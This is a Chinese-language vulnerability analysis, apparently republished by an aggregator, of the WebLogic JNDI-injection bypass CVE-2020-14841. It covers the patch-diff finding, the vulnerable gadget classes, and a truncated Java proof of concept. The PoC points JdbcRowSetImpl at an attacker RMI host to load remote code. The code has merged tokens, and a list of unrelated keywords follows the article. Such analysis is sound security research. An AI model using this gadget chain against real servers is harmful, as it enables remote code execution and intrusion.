如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
发表于:2024-12-13 作者:千家信息网编辑
千家信息网最后更新 2024年12月13日,这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解
千家信息网最后更新 2024年12月13日如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
简介
通过diff 升级包中weblogic的黑名单,我们发现新增了这个类:
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
LockVersionExtractor 分析
package oracle.eclipselink.coherence.integrated.internal.cache;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;
public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;
public LockVersionExtractor() {
}
public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}
public Object extract(Object arg0) {
if(arg0 == null) {
returnnull;
} else{
if(arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}
if(!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}
returnthis.accessor.getAttributeValueFromObject(arg0);
}
}
我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径
package org.eclipse.persistence.internal.descriptors;
public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
returnthis.getAttributeValueFromObject(anObject, (Object[])null);
}
protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
returnAccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if(throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else{
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else{
returnthis.getMethod.invoke(anObject, parameters);
}
MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于,只能执行无参的函数,从这点来看,我们很容易的与七月份 cve-2020-14645 联想起来
所以照猫画虎 poc如下
POC
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");
MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");
LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue
关于如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
分析
内容
函数
文章
更多
知识
篇文章
不错
照猫画虎
代码
月份
漏洞
简介
缺点
质量
路径
重点
黑名单
黑名
升级
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
万方数据库的支持阅读器是
电子邮件网络安全现状
雅安网络技术近期价格
很像我的世界的一个服务器游戏
金融服务学大型数据库
我的世界1.16.5怎么开服务器
杭州埃米网络技术公司
惠州聊天软件开发联系方式
怎么判断是不是服务器断网
网络安全周班会黑板
软件开发新手入门教程
郴州市学电脑软件开发培训机构
()属于目前流行的数据库
甘肃移动云服务器
如何加入软件开发
服务器主板不支持硬盘启动
互联网金融与金融科技相同点
网络安全堡垒机
苹果4s无法连接服务器
第一届网络安全宣传周焦点访谈
软件开发哪家合适
购买软件开发票的税率
云手机服务器地址什么意思
深圳市弘潮网络技术服务
游戏软件开发有限公司
石林正规软件开发价格走势
我的世界国际版1.18.10服务器
网络安全宣传标语图片个性
数据库中存储结构的概念
5g网络技术难度